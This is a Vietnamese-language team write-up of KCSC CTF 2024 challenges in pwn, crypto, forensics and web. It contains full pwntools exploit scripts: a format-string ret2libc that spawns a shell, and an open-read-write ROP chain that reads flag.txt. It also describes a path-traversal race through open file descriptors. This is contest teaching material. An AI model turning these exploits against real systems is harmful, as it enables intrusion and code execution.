Team Limbo - Writeup KCSC CTF 2024
Pwn
Petshop
Ý tưởng
- Sử dụng OOB để leak exe.address –> sử dụng bug fmt của
scanf
để BOF leak libc.address –> tiếp tục sử dụng bug fmt của scanf
để ret2libc
Phân tích
Leak exe.address
- Ở chall này, thì đầu tiên ta có bug OOB ở hàm
buy
- Chall không check điều kiện
v6 < 0
nên ta có thể tìm con trỏ để leak exe.address và có 1 con trỏ chúng ta có thể sử dụng được
Image Not Showing
Possible Reasons
- The image was uploaded to a note which you don't have access to
- The note which the image was originally uploaded to has been deleted
Learn More →
Leak libc.address bằng BOF ở bug fmt của scanf
- Sau khi mình tìm hiểu ở pwn> scanf and hateful dot thì mình hiểu như sau. Với
%d
và mình sử dụng .
thì sẽ không ghi vào biến. Nghĩa là nếu lần đầu tiên mình sửa dụng scanf
nhập vào 1234
và lần thứ hai mình nhập .
thì biến đó vẫn có giá trị là 1234
RET2LIBC
Script
-
KCSC{0h_n0_0ur_p3t_h4s_bug?!????????????????????}
KCSCBanking
Ý tưởng
Phân tích
-
Khi mình đặt breakpoint ở print(name)
thì trong stack như sau
Image Not Showing
Possible Reasons
- The image was uploaded to a note which you don't have access to
- The note which the image was originally uploaded to has been deleted
Learn More →
-
Như vậy password mình sẽ đưa vào các địa chỉ và username mình sẽ dùng %n để ghi vào các địa chỉ ấy
script
KCSC{st1ll_buff3r_0v3rfl0w_wh3n_h4s_c4n4ry?!?}
from pwn import *
exe = ELF('banking_patched', checksec=False)
libc = ELF('libc.so.6', checksec=False)
context.binary = exe
def GDB():
if not args.REMOTE:
gdb.attach(p, gdbscript='''
brva 0x1656
c
''')
input()
def info(msg): return log.info(msg)
def sla(msg, data): return p.sendlineafter(msg, data)
def sa(msg, data): return p.sendafter(msg, data)
def sl(data): return p.sendline(data)
def s(data): return p.send(data)
if args.REMOTE:
p = remote('103.163.24.78', 10002)
else:
p = process(exe.path)
GDB()
def reg(name, passs='a'):
sla(b'> ', b'2')
sla(b': ', b'aaaaaaaa')
sla(b': ', passs)
sla(b': ', name)
def login(passs='a'):
sla(b'> ', b'1')
sla(b': ', b'aaaaaaaa')
sla(b': ', passs)
def infoo():
sla(b'> ', b'3')
def out():
sla(b'> ', b'4')
sla(b': ', b'2')
reg("%49$p|%6$p|")
login()
infoo()
libc.address = int(p.recvuntil(b"|", drop=True), 16) - 0x23a90
stack = int(p.recvuntil(b"|", drop=True), 16) + 0x28
info("libc.addres: " + hex(libc.address))
info("libc.addres: " + hex(stack))
pop_rdi = 0x00000000000240e5 + libc.address
ret = pop_rdi + 1
binsh = next(libc.search(b'/bin/sh'))
system = libc.sym.system
package = {
ret & 0xffff: stack,
ret >> 16 & 0xffff: stack+2,
ret >> 32 & 0xffff: stack+4,
}
order = sorted(package)
pa1 = p64(package[order[0]]) + p64(package[order[1]]) + p64(package[order[2]])
pa2 = f'%{order[0]}c%20$hn%{order[1]-order[0]}c%21$hn%{order[2]-order[1]}c%22$hn'.encode()
out()
reg(pa2, pa1)
login(pa1)
infoo()
stack += 8
package = {
pop_rdi & 0xffff: stack,
pop_rdi >> 16 & 0xffff: stack+2,
pop_rdi >> 32 & 0xffff: stack+4,
}
order = sorted(package)
pa1 = p64(package[order[0]]) + p64(package[order[1]]) + p64(package[order[2]])
pa2 = f'%{order[0]}c%20$hn%{order[1]-order[0]}c%21$hn%{order[2]-order[1]}c%22$hn'.encode()
out()
reg(pa2, pa1)
login(pa1)
infoo()
stack += 8
package = {
binsh & 0xffff: stack,
binsh >> 16 & 0xffff: stack+2,
binsh >> 32 & 0xffff: stack+4,
}
order = sorted(package)
pa1 = p64(package[order[0]]) + p64(package[order[1]]) + p64(package[order[2]])
pa2 = f'%{order[0]}c%20$hn%{order[1]-order[0]}c%21$hn%{order[2]-order[1]}c%22$hn'.encode()
out()
reg(pa2, pa1)
login(pa1)
infoo()
stack += 8
package = {
system & 0xffff: stack,
system >> 16 & 0xffff: stack+2,
system >> 32 & 0xffff: stack+4,
}
order = sorted(package)
pa1 = p64(package[order[0]]) + p64(package[order[1]]) + p64(package[order[2]])
pa2 = f'%{order[0]}c%20$hn%{order[1]-order[0]}c%21$hn%{order[2]-order[1]}c%22$hn'.encode()
out()
reg(pa2, pa1)
login(pa1)
infoo()
sla(b'> ', b'3')
out()
sla(b'> ', b'3')
p.interactive()
Simple Qiling
Ý tưởng
- Qiling là một máy ảo khá tương tự QEMU, do vậy cũng có một điều lạ khi và cần debug
Open-Read-Write
Phân tích
- Đầu tiên mình sửa file
qi.py
để có thể debug
-
Ban đầu mình dùng gdb để remote debug nhưng không được nên mình thử debug bằng IDA

-
Mình thử gửi 40 byte 'a' và xem stack như thế nào.

-
Mình thấy khá giống QEMU ở chỗ pie tắt, canary phụ thuộc vào các byte mình nhập
-
Và do pie tắt, mình tìm được các gadget có ích sau
- Đến đây mình có ý tưởng mình sẽ read
flag.txt
vào environ và open-read-write. Do trong giải mình thử một số cách khác nhưng không được và gặp khá nhiều lỗi.
script
KCSC{q3mu_vs_q1l1ng_wh1ch_1_1s_b3tt3r}
from pwn import *
exe = ELF('simpleqiling_patched', checksec=False)
libc = ELF('libc.so.6', checksec=False)
context.binary = exe
def GDB():
if not args.REMOTE:
gdb.attach(p, gdbscript='''
c
''')
input()
def info(msg): return log.info(msg)
def sla(msg, data): return p.sendlineafter(msg, data)
def sa(msg, data): return p.sendafter(msg, data)
def sl(data): return p.sendline(data)
def s(data): return p.send(data)
if args.REMOTE:
p = remote('103.163.24.78', 10010)
else:
p = process("python3 qi.py simpleqiling_patched".split())
libc.address = 0x00007FFFB7DFA083-0x24083
pop_rdi = 0x555555554000 + 0x0000000000001473
pop_rsi_r15 = 0x0000000000001471 + 0x555555554000
pop_rdx = libc.address + 0x0000000000142c92
pop_rax = libc.address + 0x0000000000036174
pltputs = 0x5555555550a0
pltread = 0x5555555550d0
main = 0x555555555314
syscall = libc.address + 0x00000000000630a9
pa = b'a'*8*5 + p64(0x6161616161616100)
pa += flat(0,
pop_rdi+1,
pop_rdi, 0,
pop_rsi_r15, libc.sym.environ, 0,
pop_rdx, 0x10,
pltread,
pop_rdi, libc.sym.environ,
pop_rax, 0x2,
pop_rsi_r15, 0, 0,
pop_rdx, 0,
syscall,
main)
sa(b'say', pa)
print(len(pa))
sleep(1)
s(b'./flag.txt\0')
pa = b'a'*8*5 + p64(0x6161616161616100)
pa += flat(0,
pop_rdi+1,
pop_rdi, 3,
pop_rsi_r15, libc.sym.environ, 0,
pop_rdx, 0x100,
pltread,
pop_rdi, 1,
pop_rax, 0x1,
pop_rsi_r15, libc.sym.environ, 0,
pop_rdx, 0x100,
syscall,
main
)
sa(b'say', pa)
p.interactive()
Crypto
Evil ECB
Mục tiêu của ta là lợi dụng chức năng Register
để có thể lấy được token khi decrypt sẽ thỏa điều kiện data['username'] == "admin" and data["isAdmin"]
, điểm cần lưu ý là token là ciphertext được mã hóa bằng ECB của data có dạng:
với username
là input của ta. Vì ECB mã hóa 16 block riêng biệt nên ta chỉ cần chọn username như sau:
Lúc này các block của data như sau:
Nếu ta chỉ lấy token là block 1,2,3 và bỏ đi các block còn lại thì sau khi decrypt sẽ có dạng như sau:
Việc tiếp theo là lấy ciphertext của phần padding, việc này khá đơn giản thông qua việc gửi username sao cho độ dài của data là bội của 16 và giữ lại 16 bytes cuối cùng của ciphertext, cuối cùng là nối với token ở trên ta sẽ login thành công với điều kiện ở trên.
Don Copper
tổng quan thì ta có hệ phương trình như sau trong Zmod(n):
Để giải hệ trên, ta có thể sử dụng Gröbner basis, một phương pháp dùng đơn giản tập sinh của một ideal trong một vành đa thức.
KCSC Square
Để có được flag, ta cần đoán được key thông qua các ciphertext được sever cung cấp ứng với plaintext mà ta chọn. Điểm đặc biệt là thuật toán AES trong challenge chỉ có 4 round và ta có thể nghĩ này đến AES 4-round Square attack - một kỹ thuật tấn công đã được đề cập từ một số bài ctf trước đây như:
https://hackmd.io/@m1dm4n/wannagame2022#Weirdaaaaeeees
https://github.com/p4-team/ctf/tree/master/2016-03-12-0ctf/peoples_square
https://gist.github.com/Edward-L/c6483f2c678bbcb0725e51e5a0934fef
Lý thuyết được đề cập tại: https://www.davidwong.fr/blockbreakers/square_2_attack4rounds.html
Do đó ta chỉ cần dựa trên những tài liệu trên và viết script exploit:
mình sửa lại source của https://hackmd.io/@m1dm4n/wannagame2022#Weirdaaaaeeees một tí
Forensics
Externet Inplorer
Bài này cho mình một url và yêu cầu tìm timestamp với định dạng flag sẽ là KCSC{yyyy-mm-dd_hh:mm:ss.milisec}
Giá trị lưu trữ timestamp trong url được gọi là Page Load Date/Time ( hay ved= value), giá trị này hơi khó tính toán một xíu vì nó sử dụng Google Protocol Buffers để lưu trữ. Thật ra có 2 giá trị timestamp, nhưng bài để là lúc url này được search nên giá trị sẽ là Page Load Date/Time.
Mình search google để tìm cách parse url thì tìm thấy tool này.
Sau khi serach thì mình thu được timestamp như sau :

Flag:KCSC{2023-09-18_08:32:22.547027}
Web
Bài Ka Tuổi Trẻ
Bài này mục đích đơn giản là đọc được flag.txt bằng path traversal tại param filename. Tuy nhiên nội dung param filename đã bị filter mất chữ "flag".
Để ý kỹ src code thì thấy được trước khi check filename thì chương trình đã mở file trước. Do đó ý tưởng là lợi dụng fd để race condition và đọc được file flag.
Đầu tiên để tìm được pid của process python cũng như là pid của file flag.txt được mở do hàm open mình sẽ race liên tục request đọc flag.txt và debug trên docker.

Ta sẽ thấy pid của flag.txt luôn là 10, tuy nhiên pid của process python sẽ giao động từ 7-9. Để ý kỹ phần config nginx của challage ta sẽ thấy chall đã limit 10req/s. Nên cho dù có gửi request nhanh đến như thế nào cũng không giúp ích được gì.
Để khiến việc race dễ dàng thành công hơn thì mình sẽ thêm thật nhiều ../
vào nhằm mục đích khiến code xử lý path trở nên chậm hơn từ đó có thể dễ dàng race.
Ta thử intruder request sau:
Kết quả debug tại docker:

Hầu như lúc nào cũng sẽ tồn tại 3 pid mở flag.txt. Việc còn lại chỉ cần thêm 1 intruder đọc đến pid này
Kết quả:
